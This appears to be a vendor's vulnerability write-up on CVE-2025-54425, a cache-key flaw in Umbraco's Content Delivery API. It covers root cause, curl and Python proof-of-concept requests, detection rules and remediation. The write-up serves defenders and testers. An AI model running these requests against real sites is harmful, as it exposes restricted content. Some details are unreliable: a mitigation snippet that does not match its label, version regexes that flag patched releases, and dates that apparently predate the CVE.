CVE-2025-54425
Executive Summary
CVE-2025-54425 is a cache-based information disclosure vulnerability in Umbraco CMS, an ASP.NET content management system. The flaw arises when the Content Delivery API is configured with both API key authentication and output caching. The caching mechanism does not vary by the API key header, allowing an unauthenticated attacker to retrieve cached responses intended for authorized users. This can lead to unauthorized access to sensitive content, such as unpublished pages or restricted data. The vulnerability affects versions 13.0.0 through 13.9.2, 15.0.0 through 15.4.1, and 16.0.0 through 16.1.0. Patches are available in versions 13.9.3, 15.4.4, and 16.1.1. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Umbraco CMS application, which is distributed as a NuGet package for ASP.NET. Organizations using Umbraco should verify their package version and update to the patched releases. No direct supply chain compromise is involved, but the flaw highlights the risk of misconfigured caching in web applications.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (partial disclosure of cached content)
- Integrity Impact: None
- Availability Impact: None
- Threat Level: Medium. The vulnerability requires specific configuration (API key + caching) and has limited impact, but it can expose sensitive data.
Deep Dive & Mechanics
The vulnerability is a classic cache poisoning / cache key collision issue. Umbraco's Content Delivery API supports two features:
- API Key Authentication: Requests must include a specific header (e.g.,
X-API-Key) to access protected content. - Output Caching: Responses are cached to improve performance.
The flaw is that the cache key does not include the API key header. When a legitimate request with a valid API key is made, the response is cached. A subsequent request from an unauthenticated user (without the API key) to the same URL and query string will hit the cache and receive the cached response, bypassing authentication.
Root Cause: The caching middleware does not vary by the X-API-Key header (or whatever header is configured). In ASP.NET, this is typically controlled by the VaryByHeaders property in output caching configuration. If the API key header is not included in VaryByHeaders, the cache treats all requests to the same URL as identical.
Attack Scenario:
- Attacker identifies an Umbraco site with public content delivery API and output caching enabled.
- Attacker sends a request to a protected endpoint (e.g.,
/umbraco/delivery/api/v1/content/123) without an API key. The request is not cached (or returns an error). - A legitimate user with a valid API key requests the same endpoint. The response is cached.
- Attacker repeats the request without an API key and receives the cached response, gaining unauthorized access to the content.
Vulnerable vs. Patched Code
Vulnerable Configuration (Umbraco 13.0.0 - 13.9.2, etc.):
// In Startup.cs or similar
services.AddOutputCache(options =>
{
options.AddPolicy("DeliveryApiPolicy", builder =>
{
builder.Expire(TimeSpan.FromMinutes(10));
// Missing: builder.VaryByHeader("X-API-Key");
});
});
Patched Configuration (Umbraco 13.9.3+):
services.AddOutputCache(options =>
{
options.AddPolicy("DeliveryApiPolicy", builder =>
{
builder.Expire(TimeSpan.FromMinutes(10));
builder.VaryByHeader("X-API-Key"); // Added to vary cache by API key
});
});
The fix ensures that the cache key includes the API key header, so different API keys (or no key) produce different cache entries.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target Umbraco site with Content Delivery API and output caching enabled.
- API key authentication configured.
- A valid API key (or ability to observe a legitimate request).
Steps:
- Identify the API key header name (commonly
X-API-KeyorApi-Key). - Send a request to a protected endpoint without the header:
Expected: 401 Unauthorized or error.curl -v "https://target.com/umbraco/delivery/api/v1/content/123" - Wait for a legitimate user to access the same endpoint (or trigger it yourself with a valid key):
curl -v -H "X-API-Key: valid-key" "https://target.com/umbraco/delivery/api/v1/content/123" - Immediately repeat step 2. If caching is active, you will receive the cached response (200 OK with content).
Automated Check:
import requests
target = "https://target.com/umbraco/delivery/api/v1/content/123"
headers_no_key = {}
headers_with_key = {"X-API-Key": "valid-key"}
# First request without key
r1 = requests.get(target, headers=headers_no_key)
print(f"Without key: {r1.status_code}")
# Request with valid key (simulate legitimate user)
r2 = requests.get(target, headers=headers_with_key)
print(f"With key: {r2.status_code}")
# Second request without key (should return cached response if vulnerable)
r3 = requests.get(target, headers=headers_no_key)
print(f"Without key after cache: {r3.status_code}")
if r3.status_code == 200 and r3.text == r2.text:
print("VULNERABLE: Cache poisoning successful")
Blue Team (Detection & Hardening)
Detection:
- Monitor for repeated requests to the same API endpoint with varying API key headers.
- Alert on 401 responses followed by 200 responses for the same URL without authentication.
- Check cache hit ratios for protected endpoints.
Hardening:
- Apply the patch (upgrade to 13.9.3, 15.4.4, or 16.1.1).
- If patching is delayed, disable output caching for the Content Delivery API:
// In appsettings.json or code "Umbraco:CMS:DeliveryApi:Enabled": true, "Umbraco:CMS:DeliveryApi:PublicAccess": false, - Implement additional authentication checks at the application level, not relying solely on cache variation.
- Use
VaryByHeaderorVaryByCustomto include the API key in the cache key.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/umbraco/delivery/api/v1/endpoints without theX-API-Keyheader returning 200 OK. - Logs: Web server logs showing a 401 followed by a 200 for the same URL within a short time window.
- Cache: Unauthorized access to cached responses containing sensitive content (e.g., unpublished pages, member-only data).
- File: No specific file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_54425_Umbraco_Cache_Poisoning {
meta:
description = "Detects Umbraco CMS versions vulnerable to CVE-2025-54425 cache poisoning"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54425"
strings:
$version13 = /Umbraco\.Cms\.Web\.Common\s*Version\s*=\s*"13\.(0|1|2|3|4|5|6|7|8|9)\.[0-9]+"/ nocase
$version15 = /Umbraco\.Cms\.Web\.Common\s*Version\s*=\s*"15\.(0|1|2|3|4)\.[0-9]+"/ nocase
$version16 = /Umbraco\.Cms\.Web\.Common\s*Version\s*=\s*"16\.(0|1)\.[0-9]+"/ nocase
$cacheConfig = /AddOutputCache|OutputCacheMiddleware|VaryByHeader/ nocase
condition:
any of ($version*) and $cacheConfig
}
Sigma Rule
title: Umbraco Cache Poisoning Attempt (CVE-2025-54425)
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects potential exploitation of CVE-2025-54425 by monitoring for 401 followed by 200 responses to Umbraco API endpoints.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-stem|startswith: '/umbraco/delivery/api/v1/'
condition: selection
timeframe: 5m
correlation:
- event: 401
- event: 200
fields:
- c-ip
- cs-uri-stem
- cs-uri-query
- sc-status
falsepositives:
- Legitimate users with valid API keys
level: medium
tags:
- attack.initial-access
- attack.t1190
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54425 Umbraco Cache Poisoning Attempt"; flow:to_server; content:"/umbraco/delivery/api/v1/"; http_uri; nocase; pcre:"/^\/umbraco\/delivery\/api\/v1\//"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Umbraco to version 13.9.3, 15.4.4, or 16.1.1 (or later).
- If upgrade is not possible, disable output caching for the Content Delivery API:
- In
appsettings.json, set"Umbraco:CMS:DeliveryApi:CacheEnabled": false.
- In
- Restrict access to the Content Delivery API via firewall or reverse proxy (e.g., allow only known IPs).
Long-term:
- Implement cache key variation for all authenticated endpoints.
- Regularly review caching configurations in ASP.NET applications.
- Monitor for similar vulnerabilities in other CMS platforms.
Valters IT